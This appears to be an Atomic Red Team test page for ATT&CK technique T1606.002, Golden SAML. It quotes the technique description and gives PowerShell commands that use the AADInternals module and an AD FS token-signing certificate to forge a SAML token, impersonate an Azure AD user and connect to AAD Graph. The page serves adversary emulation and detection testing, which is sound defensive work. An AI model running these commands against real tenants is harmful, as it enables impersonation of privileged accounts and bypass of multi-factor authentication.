# T1606.002 - Forge Web Credentials: SAML token

## Description from ATT&CK

> An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the <code>NotOnOrAfter</code> value of the <code>conditions ...</code> element in a token. This value can be changed using the <code>AccessTokenLifetime</code> in a <code>LifetimeTokenPolicy</code>.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)
> 
> An adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.
> 
> An adversary may gain administrative Entra ID privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)

[Source](https://attack.mitre.org/techniques/T1606/002)

## Atomic Tests

- [Atomic Test #1: Golden SAML](#atomic-test-1-golden-saml)

### Atomic Test #1: Golden SAML

Forge a "Golden SAML" token which allows to impersonate any Azure AD user, and authenticate to AADGraph (as a proof). 
You will need the ADFS token signing certificate (see T1552.004 to export it).
More info here : https://o365blog.com/post/adfs/

**Supported Platforms:** Azure-ad

**auto_generated_guid:** `b16a03bc-1089-4dcc-ad98-30fe8f3a2b31`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| certificate_path | Token signing certificate path. See T1552.004 to export it | path | .&#92;ADFS_signing.pfx|
| immutable_id | ImmutableId of the targeted user. It can be obtained with AzureAD powershell module; $(Get-AzureADUser -SearchString "username").ImmutableId | string | aehgdqBTZV50DKQZmNJ8mg==|
| issuer_uri | Issuer URI of the ADFS service | string | http://contoso.com/adfs/services/trust/|

#### Attack Commands: Run with `powershell`!

```powershell
Import-Module AADInternals -Force
$saml = New-AADIntSAMLToken -ImmutableID "#{immutable_id}" -PfxFileName "#{certificate_path}" -Issuer "#{issuer_uri}"
$conn = Get-AADIntAccessTokenForAADGraph -SAMLToken $saml -SaveToCache
if ($conn) { Write-Host "`nSuccessfully connected as $($conn.User)" } else { Write-Host "`nThe connection failed" }
Write-Host "End of Golden SAML"
```


#### Dependencies: Run with `powershell`!

##### Description: AADInternals module must be installed.

###### Check Prereq Commands

```powershell
if (Get-Module AADInternals) {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
Install-Module -Name AADInternals -Force
```